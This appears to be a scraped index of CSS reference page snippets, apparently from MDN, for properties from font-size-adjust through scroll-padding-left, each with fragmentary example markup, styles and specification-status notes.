/p> <p class="adjtimes">this is the 10px times, but now adjusted to the same aspect ratio as the verdana.</p> css .times { font-family: times, serif; font-size: 10px; } .verdana { font-family: verdana, sans-serif; font-size: 10px; } .adjtimes { font-family: times, serif; font-size-adjust: 0.58; font-size: 10px; } results specifications specification status comment css fonts module level 3the definition of 'font-size-adjust' in that specification.
... candidate recommendation initial definition the css property font-size-adjust was initially defined in css 2, but dropped in css 2.1.
font-stretch - CSS: Cascading Style Sheets
font-family:'leaguemonovariable'; font-style: normal; font-stretch: 1% 500%; /* required by chrome */ } .container { border: 10px solid #f5f9fa; padding: 0 1rem; font: 1.5rem 'leaguemonovariable', sans-serif; } .condensed { font-stretch: 50%; } .normal { font-stretch: 100%; } .expanded { font-stretch: 200%; } result specifications specification status comment css fonts module level 4the definition of 'font-stretch' in that specification.
... candidate recommendation initial definition.
font-synthesis - CSS: Cascading Style Sheets
站直。</em> css em { font-weight: bold; } .syn { font-synthesis: style weight; } .no-syn { font-synthesis: none; } result specifications specification status comment css fonts module level 3the definition of 'font-synthesis' in that specification.
... candidate recommendation initial definition ...
font-variant-caps - CSS: Cascading Style Sheets
etite-caps | unicase | titling-caps examples setting the small-caps font variant html <p class="small-caps">firefox rocks, small caps!</p> <p class="normal">firefox rocks, normal caps!</p> css .small-caps { font-variant-caps: small-caps; font-style: italic; } .normal { font-variant-caps: normal; font-style: italic; } result specifications specification status comment css fonts module level 3the definition of 'font-variant-caps' in that specification.
... candidate recommendation initial definition browser compatibility the compatibility table on this page is generated from structured data.
font-variant-east-asian - CSS: Cascading Style Sheets
<td>大学</td> <td class="traditional">大学</td> </tr> </tbody> </table> css td{ font-family:"yu gothic"; font-size:20px; } th{ color:grey; padding-right:10px; } .ruby { font-variant-east-asian: ruby; } .jis78 { font-variant-east-asian: jis78; } .traditional{ font-variant-east-asian: traditional; } result specifications specification status comment css fonts module level 3the definition of 'font-variant-east-asian' in that specification.
... candidate recommendation initial definition ...
font-variant-numeric - CSS: Cascading Style Sheets
p://scripts.sil.org/cms/scripts/page.php?item_id=ofl_web */ @font-face { font-family: "source sans pro"; font-style: normal; font-weight: 400; src: url("https://mdn.mozillademos.org/files/15757/sourcesanspro-regular.otf") format("opentype"); } .ordinal { font-variant-numeric: ordinal; font-family: "source sans pro"; } result specifications specification status comment css fonts module level 3the definition of 'font-variant-numeric' in that specification.
... candidate recommendation initial definition ...
font-variant-position - CSS: Cascading Style Sheets
al syntax normal | sub | super examples setting superscript and subscript forms html <p class="normal">normal!</p> <p class="super">super!</p> <p class="sub">sub!</p> css p { display: inline; } .normal { font-variant-position: normal; } .super { font-variant-position: super; } .sub { font-variant-position: sub; } result specifications specification status comment css fonts module level 3the definition of 'font-variant-position' in that specification.
... candidate recommendation initial definition.
gap (grid-gap) - CSS: Cascading Style Sheets
WebCSSgap
syntax /* one <length> value */ gap: 20px; gap: 1em; gap: 3vmin; gap: 0.5cm; /* one <percentage> value */ gap: 16%; gap: 100%; /* two <length> values */ gap: 20px 10px; gap: 1em 0.5em; gap: 3vmin 2vmax; gap: 0.5cm 2mm; /* one or two <percentage> values */ gap: 16% 100%; gap: 21px 82%; /* calc() values */ gap: calc(10% + 20px); gap: calc(20px + 10%) calc(10% - 5px); /* global values */ gap: inherit; gap: initial; gap: unset; this property is specified as a value for <'row-gap'> followed optionally by a value for <'column-gap'>.
...</p> css .content-box { column-count: 3; gap: 40px; } result specifications specification status comment css box alignment module level 3the definition of 'gap' in that specification.
<gradient> - CSS: Cascading Style Sheets
WebCSSgradient
<div class="conic-gradient">conic gradient</div> div { width: 200px; height: 200px; } .conic-gradient { background: conic-gradient(lightpink, white, powderblue); } specifications specification status comment css images module level 4the definition of '<gradient>' in that specification.
... candidate recommendation initial definition.
grid-area - CSS: Cascading Style Sheets
WebCSSgrid-area
d"> <div id="item1"></div> <div id="item2"></div> <div id="item3"></div> </div> css #grid { display: grid; height: 100px; grid-template: repeat(4, 1fr) / 50px 100px; } #item1 { background-color: lime; grid-area: 2 / 2 / auto / span 3; } #item2 { background-color: yellow; } #item3 { background-color: blue; } result specifications specification status comment css grid layoutthe definition of 'grid-area' in that specification.
... candidate recommendation initial definition ...
grid-auto-columns - CSS: Cascading Style Sheets
<length> | <percentage> examples setting grid column size html <div id="grid"> <div id="item1"></div> <div id="item2"></div> <div id="item3"></div> </div> css #grid { height: 100px; display: grid; grid-template-areas: "a a"; grid-gap: 10px; grid-auto-columns: 200px; } #grid > div { background-color: lime; } result specifications specification status comment css grid layoutthe definition of 'grid-auto-columns' in that specification.
... candidate recommendation initial definition ...
grid-auto-flow - CSS: Cascading Style Sheets
"row" : "column"; if (dense.checked) { gridautoflow += " dense"; } grid.style.gridautoflow = gridautoflow; } result specifications specification status comment css grid layoutthe definition of 'grid-auto-flow' in that specification.
... candidate recommendation initial definition ...
grid-auto-rows - CSS: Cascading Style Sheets
tage> = <length> | <percentage> examples setting grid row size html <div id="grid"> <div id="item1"></div> <div id="item2"></div> <div id="item3"></div> </div> css #grid { width: 200px; display: grid; grid-template-areas: "a a"; grid-gap: 10px; grid-auto-rows: 100px; } #grid > div { background-color: lime; } result specifications specification status comment css grid layoutthe definition of 'grid-auto-rows' in that specification.
... candidate recommendation initial definition ...
grid-column-end - CSS: Cascading Style Sheets
apper { border: 2px solid #f76707; border-radius: 5px; background-color: #fff4e6; } .wrapper > div { border: 2px solid #ffa94d; border-radius: 5px; background-color: #ffd8a8; padding: 1em; color: #d9480f; } .nested { border: 2px solid #ffec99; border-radius: 5px; background-color: #fff9db; padding: 1em; } result specifications specification status comment css grid layoutthe definition of 'grid-column-end' in that specification.
... candidate recommendation initial definition ...
grid-column-start - CSS: Cascading Style Sheets
apper { border: 2px solid #f76707; border-radius: 5px; background-color: #fff4e6; } .wrapper > div { border: 2px solid #ffa94d; border-radius: 5px; background-color: #ffd8a8; padding: 1em; color: #d9480f; } .nested { border: 2px solid #ffec99; border-radius: 5px; background-color: #fff9db; padding: 1em; } result specifications specification status comment css grid layoutthe definition of 'grid-column-start' in that specification.
... candidate recommendation initial definition ...
grid-column - CSS: Cascading Style Sheets
d="item2"></div> <div id="item3"></div> </div> css #grid { display: grid; height: 100px; grid-template-columns: repeat(6, 1fr); grid-template-rows: 100px; } #item1 { background-color: lime; } #item2 { background-color: yellow; grid-column: 2 / 4; } #item3 { background-color: blue; grid-column: span 2 / 7; } result specifications specification status comment css grid layoutthe definition of 'grid-column' in that specification.
... candidate recommendation initial definition ...
grid-row-end - CSS: Cascading Style Sheets
apper { border: 2px solid #f76707; border-radius: 5px; background-color: #fff4e6; } .wrapper > div { border: 2px solid #ffa94d; border-radius: 5px; background-color: #ffd8a8; padding: 1em; color: #d9480f; } .nested { border: 2px solid #ffec99; border-radius: 5px; background-color: #fff9db; padding: 1em; } result specifications specification status comment css grid layoutthe definition of 'grid-row-end' in that specification.
... candidate recommendation initial definition ...
grid-row-start - CSS: Cascading Style Sheets
apper { border: 2px solid #f76707; border-radius: 5px; background-color: #fff4e6; } .wrapper > div { border: 2px solid #ffa94d; border-radius: 5px; background-color: #ffd8a8; padding: 1em; color: #d9480f; } .nested { border: 2px solid #ffec99; border-radius: 5px; background-color: #fff9db; padding: 1em; } result specifications specification status comment css grid layoutthe definition of 'grid-row-start' in that specification.
... candidate recommendation initial definition ...
grid-row - CSS: Cascading Style Sheets
WebCSSgrid-row
<div id="item2"></div> <div id="item3"></div> </div> css #grid { display: grid; height: 200px; grid-template-columns: 200px; grid-template-rows: repeat(6, 1fr); } #item1 { background-color: lime; } #item2 { background-color: yellow; grid-row: 2 / 4; } #item3 { background-color: blue; grid-row: span 2 / 7; } result specifications specification status comment css grid layoutthe definition of 'grid-row' in that specification.
... candidate recommendation initial definition ...
grid-template-areas - CSS: Cascading Style Sheets
template-rows: 50px 1fr 30px; grid-template-columns: 150px 1fr; } #page > header { grid-area: head; background-color: #8ca0ff; } #page > nav { grid-area: nav; background-color: #ffa08c; } #page > main { grid-area: main; background-color: #ffff64; } #page > footer { grid-area: foot; background-color: #8cffa0; } result specifications specification status comment css grid layoutthe definition of 'grid-template-areas' in that specification.
... candidate recommendation initial definition ...
grid-template-columns - CSS: Cascading Style Sheets
where <length-percentage> = <length> | <percentage> examples specifying grid column sizes html <div id="grid"> <div id="areaa">a</div> <div id="areab">b</div> </div> css #grid { display: grid; width: 100%; grid-template-columns: 50px 1fr; } #areaa { background-color: lime; } #areab { background-color: yellow; } result specifications specification status comment css grid layoutthe definition of 'grid-template-columns' in that specification.
... candidate recommendation initial definition css grid layout module level 2the definition of 'subgrid' in that specification.
grid-template-rows - CSS: Cascading Style Sheets
age>where <length-percentage> = <length> | <percentage> examples specifying grid row sizes html <div id="grid"> <div id="areaa">a</div> <div id="areab">b</div> </div> css #grid { display: grid; height: 100px; grid-template-rows: 30px 1fr; } #areaa { background-color: lime; } #areab { background-color: yellow; } result specifications specification status comment css grid layoutthe definition of 'grid-template-rows' in that specification.
... candidate recommendation initial definition css grid layout module level 2the definition of 'subgrid' in that specification.
grid-template - CSS: Cascading Style Sheets
me; grid-area: head; } nav { background-color: lightblue; grid-area: nav; } main { background-color: yellow; grid-area: main; } footer { background-color: red; grid-area: foot; } html <section id="page"> <header>header</header> <nav>navigation</nav> <main>main area</main> <footer>footer</footer> </section> result specifications specification status comment css grid layoutthe definition of 'grid-template' in that specification.
... candidate recommendation initial definition ...
grid - CSS: Cascading Style Sheets
WebCSSgrid
s creating a grid layout html <div id="container"> <div></div> <div></div> <div></div> <div></div> <div></div> <div></div> <div></div> <div></div> </div> css #container { display: grid; grid: repeat(2, 60px) / auto-flow 80px; } #container > div { background-color: #8ca0ff; width: 50px; height: 50px; } result specifications specification status comment css grid layoutthe definition of 'grid' in that specification.
... candidate recommendation initial definition ...
ident - CSS: Cascading Style Sheets
WebCSSident
specifications specification status comment css values and units module level 4the definition of '<ident>' in that specification.
... candidate recommendation ...
image-orientation - CSS: Cascading Style Sheets
ientation"> <option value="from-image">from-image</option> <option value="none">none</option> </select> javascript var imageorientation = document.getelementbyid("imageorientation"); imageorientation.addeventlistener("change", function (evt) { document.getelementbyid("image").style.imageorientation = evt.target.value; }); result specifications specification status comment css images module level 3the definition of 'image-orientation' in that specification.
... candidate recommendation initial definition.
image-rendering - CSS: Cascading Style Sheets
es" src="https://udn.realityripple.com/samples/de/cedd397be3.jpg" /> </div> img { height: 200px; } css .auto { image-rendering: auto; } .pixelated { -ms-interpolation-mode: nearest-neighbor; image-rendering: pixelated; } .crisp-edges { image-rendering: -webkit-optimize-contrast; image-rendering: crisp-edges; } result specifications specification status comment css images module level 3the definition of 'image-rendering' in that specification.
... candidate recommendation initial definition.
image-set() - CSS: Cascading Style Sheets
WebCSSimage-set
syntax image-set() = image-set( <image-set-option># ) where <image-set-option> = [ <image> | <string> ] <resolution> and <string> is an <url> values most commonly you'll see an url() <string> value, but the <image> can be any image type except for an image set.
... mdn understanding wcag, guideline 1.1 explanations understanding success criterion 1.1.1 | w3c understanding wcag 2.0 specifications specification status comment css images module level 4the definition of 'the image-set() notation' in that specification.
<image> - CSS: Cascading Style Sheets
WebCSSimage
*/ image(z.jpg#xy=0,0) /* the spatial fragment must be written in the format of xywh=#,#,#,# */ image-set('cat.jpg' 1x, 'dog.jpg' 1x) /* every image in an image set must have a different resolutions */ specifications specification status comment css images module level 4the definition of '<image>' in that specification.
... candidate recommendation initial definition.
image() - CSS: Cascading Style Sheets
the #xywh=#,#,#,# media fragment syntax takes four comma separated numeric values.
... specifications specification status comment css images module level 4the definition of 'image()' in that specification.
Initial value - CSS: Cascading Style Sheets
specifications specification status comment css cascade 4 formal definition.
... recommendation implicit definition.
isolation - CSS: Cascading Style Sheets
WebCSSisolation
iv> </div> <div id="e"> <div class="a c">isolate</div> </div> </div> css .a { background-color: rgb(0,255,0); } #b { width: 200px; height: 210px; } .c { width: 100px; height: 100px; border: 1px solid black; padding: 2px; mix-blend-mode: difference; } #d { isolation: auto; } #e { isolation: isolate; } result specifications specification status comment compositing and blending level 1the definition of 'isolation' in that specification.
... candidate recommendation initial definition ...
justify-content - CSS: Cascading Style Sheets
<option value="space-evenly">space-evenly</option> <option value="stretch">stretch</option> </select> javascript var justifycontent = document.getelementbyid("justifycontent"); justifycontent.addeventlistener("change", function (evt) { document.getelementbyid("container").style.justifycontent = evt.target.value; }); result specifications specification status comment css box alignment module level 3the definition of 'justify-content' in that specification.
... candidate recommendation initial definition ...
left - CSS: Cascading Style Sheets
WebCSSleft
h: 600px; height: 400px; position: relative; top: 20px; left: 20px; background-color: #ffd7c2; } #example_4 { width:200px; height:200px; position:absolute; bottom:10px; right:20px; background-color:#ffc7e4; } #example_5 { position: absolute; right: 0; left: 0; top: 100px; background-color: #d7ffc2; } result specifications specification status comment css positioned layout module level 3the definition of 'left' in that specification.
... recommendation initial definition.
<length-percentage> - CSS: Cascading Style Sheets
therefore, all of the following values are acceptable for width: width: 200px; width: 20%; width: calc(100% - 200px); specifications specification status comment css values and units module level 4the definition of '<length-percentage>' in that specification.
... candidate recommendation defines <length-percentage>.
line-break - CSS: Cascading Style Sheets
normal break text using the most common line break rule.
...に、美しいなぁと思わずつぶやいた。</p> </div> css .wrapbox { width: 10em; margin: 0.5em; white-space: normal; vertical-align: top; display: inline-block; } .auto { line-break: auto; } .loose { line-break: loose; } .normal { line-break: normal; } .strict { line-break: strict; } .anywhere { line-break: anywhere; } result specifications specification status comment css text module level 3the definition of 'line-break' in that specification.
list-style-image - CSS: Cascading Style Sheets
uenoneapplies tolist itemsinheritedyescomputed valuenone or the image with its uri made absoluteanimation typediscrete formal syntax <url> | none examples setting list item images html <ul> <li>item 1</li> <li>item 2</li> </ul> css ul { list-style-image: url("https://mdn.mozillademos.org/files/11981/starsolid.gif"); } result specifications specification status comment css lists module level 3the definition of 'list-style-image' in that specification.
... recommendation initial definition ...
list-style-position - CSS: Cascading Style Sheets
<li>list item 3-3</li> <li>list item 3-4</li> </ul> css .inside { list-style-position: inside; list-style-type: square; } .outside { list-style-position: outside; list-style-type: circle; } .inside-img { list-style-position: inside; list-style-image: url("https://mdn.mozillademos.org/files/11979/starsolid.gif"); } result specifications specification status comment css lists module level 3the definition of 'list-style-position' in that specification.
... recommendation initial definition.
list-style - CSS: Cascading Style Sheets
image'> examples setting list style type and position html list 1 <ul class="one"> <li>list item1</li> <li>list item2</li> <li>list item3</li> </ul> list 2 <ul class="two"> <li>list item a</li> <li>list item b</li> <li>list item c</li> </ul> css .one { list-style: circle; } .two { list-style: square inside; } result specifications specification status comment css lists module level 3the definition of 'list-style' in that specification.
... recommendation initial definition.
mask-border-mode - CSS: Cascading Style Sheets
when browsers support it, it will specify the type of blending mode used for the mask border — luminance or alpha: mask-border-mode: luminance; mask-border-mode: alpha; specifications specification status comment css masking module level 1the definition of 'mask-border-mode' in that specification.
... candidate recommendation initial definition ...
mask-border-outset - CSS: Cascading Style Sheets
specifications specification status comment css masking module level 1the definition of 'mask-border-outset' in that specification.
... candidate recommendation initial definition ...
mask-border-repeat - CSS: Cascading Style Sheets
specifications specification status comment css masking module level 1the definition of 'mask-border-repeat' in that specification.
... candidate recommendation initial definition ...
mask-border-slice - CSS: Cascading Style Sheets
specifications specification status comment css masking module level 1the definition of 'mask-border-slice' in that specification.
... candidate recommendation initial defintion ...
mask-border-source - CSS: Cascading Style Sheets
specifications specification status comment css masking module level 1the definition of 'mask-border-source' in that specification.
... candidate recommendation initial definition ...
mask-border-width - CSS: Cascading Style Sheets
specifications specification status comment css masking module level 1the definition of 'mask-border-width' in that specification.
... candidate recommendation initial definition ...
mask-border - CSS: Cascading Style Sheets
d; /* repeat */ /* updated standard shorthand property, not supported anywhere yet */ mask-border: url("https://udn.realityripple.com/samples/2d/fd08a3134c.png") /* source */ 30 fill / /* slice */ 20px / /* width */ 1px /* outset */ round; /* repeat */ } result specifications specification status comment css masking module level 1the definition of 'mask-border' in that specification.
... candidate recommendation initial definition ...
mask-image - CSS: Cascading Style Sheets
entage> = <angle> | <percentage> examples setting a mask image with a url html <div id="masked"></div> css #masked { width: 100px; height: 100px; background-color: #8cffa0; -webkit-mask-image: url(https://mdn.mozillademos.org/files/12676/star.svg); mask-image: url(https://mdn.mozillademos.org/files/12676/star.svg); } result specifications specification status comment css masking module level 1the definition of 'mask-image' in that specification.
... candidate recommendation initial definition ...
mask-type - CSS: Cascading Style Sheets
WebCSSmask-type
jectboundingbox" style="mask-type:luminance"> <rect x=".1" y=".1" width=".8" height=".8" fill="red" fill-opacity="0.7"/> </mask> </defs> </svg> css .redsquare { height: 100px; width: 100px; background-color: rgb(128, 128, 128); border: solid 1px black; mask: url("#m"); mask-type:luminance; } result specifications specification status comment css masking module level 1the definition of 'mask-type' in that specification.
... candidate recommendation initial definition.
max-height - CSS: Cascading Style Sheets
length or noneanimation typea length, percentage or calc(); formal syntax auto | <length> | <percentage> | min-content | max-content | fit-content(<length-percentage>)where <length-percentage> = <length> | <percentage> examples setting max-height using percentage and keyword values table { max-height: 75%; } form { max-height: none; } specifications specification status comment css box sizing module level 4the definition of 'max-height' in that specification.
... recommendation initial definition.
max-width - CSS: Cascading Style Sheets
WebCSSmax-width
</div> </div> css #parent { background: lightblue; width: 300px; } #child { background: gold; width: 100%; max-width: 150px; } result specifications specification status comment css box sizing module level 4the definition of 'max-width' in that specification.
... recommendation initial definition.
min-height - CSS: Cascading Style Sheets
aluethe percentage as specified or the absolute lengthanimation typea length, percentage or calc(); formal syntax auto | <length> | <percentage> | min-content | max-content | fit-content(<length-percentage>)where <length-percentage> = <length> | <percentage> examples setting min-height table { min-height: 75%; } form { min-height: 0; } specifications specification status comment css box sizing module level 4the definition of 'min-height' in that specification.
... recommendation initial definition.
minmax() - CSS: Cascading Style Sheets
WebCSSminmax
</div> </div> result specifications specification status comment css grid layoutthe definition of 'minmax()' in that specification.
... candidate recommendation initial definition ...
mix-blend-mode - CSS: Cascading Style Sheets
<g class="isolate"> <circle cx="40" cy="40" r="40" fill="red"/> <circle cx="80" cy="40" r="40" fill="lightgreen"/> <circle cx="60" cy="80" r="40" fill="blue"/> </g> </svg> css circle { mix-blend-mode: screen; } .isolate { isolation: isolate; } /* without isolation, the background color will be taken into account */ result specifications specification status comment compositing and blending level 1the definition of 'mix-blend-mode' in that specification.
... candidate recommendation initial definition browser compatibility the compatibility table in this page is generated from structured data.
object-fit - CSS: Cascading Style Sheets
tart; height: 940px; } img { width: 150px; height: 100px; border: 1px solid #000; } .narrow { width: 100px; height: 150px; margin-top: 10px; } .fill { object-fit: fill; } .contain { object-fit: contain; } .cover { object-fit: cover; } .none { object-fit: none; } .scale-down { object-fit: scale-down; } result specifications specification status comment css images module level 4the definition of 'object-fit' in that specification.
... candidate recommendation initial definition browser compatibility the compatibility table on this page is generated from structured data.
object-position - CSS: Cascading Style Sheets
result specifications specification status comment css images module level 3the definition of 'object-position' in that specification.
... candidate recommendation initial definition.
opacity - CSS: Cascading Style Sheets
WebCSSopacity
veloper.mozilla.org/static/img/opengraph-logo.png" alt="mdn logo" width="128" height="146" class="opacity"> css img.opacity { opacity: 1; filter: alpha(opacity=100); /* ie8 and lower */ zoom: 1; /* triggers "haslayout" in ie 7 and lower */ } img.opacity:hover { opacity: 0.5; filter: alpha(opacity=50); zoom: 1; } result specifications specification status comment css color module level 4the definition of 'opacity' in that specification.
... recommendation initial definition ...
order - CSS: Cascading Style Sheets
WebCSSorder
html <header>...</header> <main> <article>article</article> <nav>nav</nav> <aside>aside</aside> </main> <footer>...</footer> css main { display: flex; text-align:center; } main > article { flex:1; order: 2; } main > nav { width: 200px; order: 1; } main > aside { width: 200px; order: 3; } result specifications specification status comment css flexible box layout modulethe definition of 'order' in that specification.
... candidate recommendation initial definition initial value0applies toflex items and absolutely-positioned flex container childreninheritednocomputed valueas specifiedanimation typean integer ...
outline-offset - CSS: Cascading Style Sheets
ed, but with relative lengths converted into absolute lengthsanimation typea length formal syntax <length> examples setting outline offset in pixels html <p>gallia est omnis divisa in partes tres.</p> css p { outline: 1px dashed red; outline-offset: 10px; background: yellow; border: 1px solid blue; margin: 15px; } result specifications specification status comment css basic user interface module level 3the definition of 'outline-offset' in that specification.
... recommendation initial definition browser compatibility the compatibility table in this page is generated from structured data.
overflow-x - CSS: Cascading Style Sheets
the difference between clip and hidden is that the clip keyword also forbids all scrolling, including programmatic scrolling.
...l</code> <div id="div4"> abcdefghijklmopqrstuvwxyzabcdefghijklmopqrstuvwxyz </div> </li> </ul> css #div1, #div2, #div3, #div4 { border: 1px solid black; width: 250px; margin-bottom: 12px; } #div1 { overflow-x: hidden;} #div2 { overflow-x: scroll;} #div3 { overflow-x: visible;} #div4 { overflow-x: auto;} result specifications specification status comment css overflow module level 3the definition of 'overflow-x' in that specification.
page-break-after - CSS: Cascading Style Sheets
user agents may also apply it to other elements like table-row elements.inheritednocomputed valueas specifiedanimation typediscrete formal syntax auto | always | avoid | left | right | recto | verso examples setting a page break after footnotes /* move to a new page after footnotes */ div.footnotes { page-break-after: always; } specifications specification status comment css logical properties and values level 1the definition of 'recto and verso' in that specification.
... recommendation initial definition browser compatibility the compatibility table on this page is generated from structured data.
page-break-before - CSS: Cascading Style Sheets
user agents may also apply it to other elements like table-row elements.inheritednocomputed valueas specifiedanimation typediscrete formal syntax auto | always | avoid | left | right | recto | verso examples avoid a page break before the dic /* avoid page break before the div */ div.note { page-break-before: avoid; } specifications specification status comment css logical properties and values level 1the definition of 'recto and verso' in that specification.
... recommendation initial definition browser compatibility the compatibility table on this page is generated from structured data.
page-break-inside - CSS: Cascading Style Sheets
ird one.</p> </div> css .page { background-color: #8cffa0; height: 90px; width: 200px; columns: 1; column-width: 100px; } .list, ol, ul, p { break-inside: avoid; } p { background-color: #8ca0ff; } ol, ul, .list { margin: 0.5em 0; display: block; background-color: orange; } p:first-child { margin-top: 0; } result specifications specification status comment css paged media module level 3the definition of 'page-break-inside' in that specification.
... recommendation initial definition.
paint-order - CSS: Cascading Style Sheets
2000/svg" width="400" height="200"> <text x="10" y="75">stroke in front</text> <text x="10" y="150" class="stroke-behind">stroke behind</text> </svg> css text { font-family: sans-serif; font-size: 50px; font-weight: bold; fill: black; stroke: red; stroke-width: 4px; } .stroke-behind { paint-order: stroke fill; } result specifications specification status comment scalable vector graphics (svg) 2the definition of 'paint-order' in that specification.
... candidate recommendation initial definition.
quotes - CSS: Cascading Style Sheets
WebCSSquotes
html <div lang="fr"> <q>ceci est une citation française.</q> <div> <hr> <div lang="ru"> <q>Это русская цитата</q> <div> <hr> <div lang="de"> <q>dies ist ein deutsches zitat</q> <div> <hr> <div lang="en"> <q>this is an english quote.</q> <div> css /*q { quotes: auto; }*/ result specifications specification status comment css generated content module level 3the definition of 'quotes' in that specification.
... recommendation initial definition browser compatibility the compatibility table on this page is generated from structured data.
radial-gradient() - CSS: Cascading Style Sheets
specifications specification status comment css images module level 3the definition of 'radial-gradients()' in that specification.
... candidate recommendation initial definition.
repeat() - CSS: Cascading Style Sheets
WebCSSrepeat
</div> </div> css #container { display: grid; grid-template-columns: repeat(2, 50px 1fr) 100px; grid-gap: 5px; box-sizing: border-box; height: 200px; width: 100%; background-color: #8cffa0; padding: 10px; } #container > div { background-color: #8ca0ff; padding: 5px; } result specifications specification status comment css grid layoutthe definition of 'repeat()' in that specification.
... candidate recommendation initial definition ...
repeating-linear-gradient() - CSS: Cascading Style Sheets
specifications specification status comment css images module level 3the definition of 'repeating-linear-gradient()' in that specification.
... candidate recommendation initial definition.
repeating-radial-gradient() - CSS: Cascading Style Sheets
specifications specification status comment css images module level 3the definition of 'repeating-radial-gradient()' in that specification.
... candidate recommendation initial definition.
resize - CSS: Cascading Style Sheets
WebCSSresize
</p> </div> css .resizable { resize: both; overflow: scroll; border: 1px solid black; } div { height: 300px; width: 300px; } p { height: 200px; width: 200px; } result specifications specification status comment css logical properties and values level 1the definition of 'resize' in that specification.
... recommendation initial definition.
revert - CSS: Cascading Style Sheets
WebCSSrevert
specifications specification status comment css cascading and inheritance level 4the definition of 'revert' in that specification.
... candidate recommendation initial definition.
right - CSS: Cascading Style Sheets
WebCSSright
s div { outline: 1px solid #cccccc; } #parent { width: 200px; height: 200px; background-color: #ffc7e4; position: relative; } /* declare both a left and a right */ #width, #nowidth { background-color: #c2ffd7; position: absolute; left: 0; right: 0; } /* declare a width */ #width { width: 100px; top: 60px; } result specifications specification status comment css positioned layout module level 3the definition of 'right' in that specification.
... recommendation initial definition.
scroll-margin-block-end - CSS: Cascading Style Sheets
formal definition initial value0applies toall elementsinheritednocomputed valueas specifiedanimation typeby computed value type formal syntax <length> specifications specification status comment css scroll snap module level 1the definition of 'scroll-margin-block-end' in that specification.
... candidate recommendation initial definition ...
scroll-margin-block-start - CSS: Cascading Style Sheets
formal definition initial value0applies toall elementsinheritednocomputed valueas specifiedanimation typeby computed value type formal syntax <length> specifications specification status comment css scroll snap module level 1the definition of 'scroll-margin-block-start' in that specification.
... candidate recommendation initial definition ...
scroll-margin-block - CSS: Cascading Style Sheets
formal definition initial value0applies toall elementsinheritednocomputed valueas specifiedanimation typeby computed value type formal syntax <length>{1,2} specifications specification status comment css scroll snap module level 1the definition of 'scroll-margin-block' in that specification.
... candidate recommendation initial definition ...
scroll-margin-bottom - CSS: Cascading Style Sheets
formal definition initial value0applies toall elementsinheritednocomputed valueas specifiedanimation typeby computed value type formal syntax <length> specifications specification status comment css scroll snap module level 1the definition of 'scroll-margin-bottom' in that specification.
... candidate recommendation initial definition ...
scroll-margin-inline-end - CSS: Cascading Style Sheets
result try it for yourself: specifications specification status comment css scroll snap module level 1the definition of 'scroll-margin-inline-end' in that specification.
... candidate recommendation initial definition ...
scroll-margin-inline-start - CSS: Cascading Style Sheets
result try it for yourself: specifications specification status comment css scroll snap module level 1the definition of 'scroll-margin-inline-start' in that specification.
... candidate recommendation initial definition ...
scroll-margin-inline - CSS: Cascading Style Sheets
result try it for yourself: specifications specification status comment css scroll snap module level 1the definition of 'scroll-margin-inline' in that specification.
... candidate recommendation initial definition ...
scroll-margin-left - CSS: Cascading Style Sheets
formal definition initial value0applies toall elementsinheritednocomputed valueas specifiedanimation typeby computed value type formal syntax <length> specifications specification status comment css scroll snap module level 1the definition of 'scroll-margin-left' in that specification.
... candidate recommendation initial definition ...
scroll-margin-right - CSS: Cascading Style Sheets
formal definition initial value0applies toall elementsinheritednocomputed valueas specifiedanimation typeby computed value type formal syntax <length> specifications specification status comment css scroll snap module level 1the definition of 'scroll-margin-right' in that specification.
... candidate recommendation initial definition ...
scroll-margin-top - CSS: Cascading Style Sheets
formal definition initial value0applies toall elementsinheritednocomputed valueas specifiedanimation typeby computed value type formal syntax <length> specifications specification status comment css scroll snap module level 1the definition of 'scroll-margin-top' in that specification.
... candidate recommendation initial definition ...
scroll-margin - CSS: Cascading Style Sheets
result try it for yourself: specifications specification status comment css scroll snap module level 1the definition of 'scroll-margin' in that specification.
... candidate recommendation initial definition ...
scroll-padding-block-end - CSS: Cascading Style Sheets
formal definition initial valueautoapplies toscroll containersinheritednopercentagesrelative to the scroll container's scrollportcomputed valueas specifiedanimation typeby computed value type formal syntax auto | <length-percentage>where <length-percentage> = <length> | <percentage> specifications specification status comment css scroll snap module level 1the definition of 'scroll-padding-block-end' in that specification.
... candidate recommendation initial definition ...
scroll-padding-block-start - CSS: Cascading Style Sheets
formal definition initial valueautoapplies toscroll containersinheritednopercentagesrelative to the scroll container's scrollportcomputed valueas specifiedanimation typeby computed value type formal syntax auto | <length-percentage>where <length-percentage> = <length> | <percentage> specifications specification status comment css scroll snap module level 1the definition of 'scroll-padding-block-start' in that specification.
... candidate recommendation initial definition ...
scroll-padding-block - CSS: Cascading Style Sheets
formal definition initial valueautoapplies toscroll containersinheritednopercentagesrelative to the scroll container's scrollportcomputed valueas specifiedanimation typeby computed value type formal syntax [ auto | <length-percentage> ]{1,2}where <length-percentage> = <length> | <percentage> specifications specification status comment css scroll snap module level 1the definition of 'scroll-padding-block' in that specification.
... candidate recommendation initial definition ...
scroll-padding-bottom - CSS: Cascading Style Sheets
formal definition initial valueautoapplies toscroll containersinheritednopercentagesrelative to the scroll container's scrollportcomputed valueas specifiedanimation typeby computed value type formal syntax auto | <length-percentage>where <length-percentage> = <length> | <percentage> specifications specification status comment css scroll snap module level 1the definition of 'scroll-padding-bottom' in that specification.
... candidate recommendation initial definition ...
scroll-padding-inline-end - CSS: Cascading Style Sheets
formal definition initial valueautoapplies toscroll containersinheritednopercentagesrelative to the scroll container's scrollportcomputed valueas specifiedanimation typeby computed value type formal syntax auto | <length-percentage>where <length-percentage> = <length> | <percentage> specifications specification status comment css scroll snap module level 1the definition of 'scroll-padding-inline-end' in that specification.
... candidate recommendation initial definition ...
scroll-padding-inline-start - CSS: Cascading Style Sheets
formal definition initial valueautoapplies toscroll containersinheritednopercentagesrelative to the scroll container's scrollportcomputed valueas specifiedanimation typeby computed value type formal syntax auto | <length-percentage>where <length-percentage> = <length> | <percentage> specifications specification status comment css scroll snap module level 1the definition of 'scroll-padding-inline-start' in that specification.
... candidate recommendation initial definition ...
scroll-padding-inline - CSS: Cascading Style Sheets
formal definition initial valueautoapplies toscroll containersinheritednopercentagesrelative to the scroll container's scrollportcomputed valueas specifiedanimation typeby computed value type formal syntax [ auto | <length-percentage> ]{1,2}where <length-percentage> = <length> | <percentage> specifications specification status comment css scroll snap module level 1the definition of 'scroll-padding-inline' in that specification.
... candidate recommendation initial definition ...
scroll-padding-left - CSS: Cascading Style Sheets
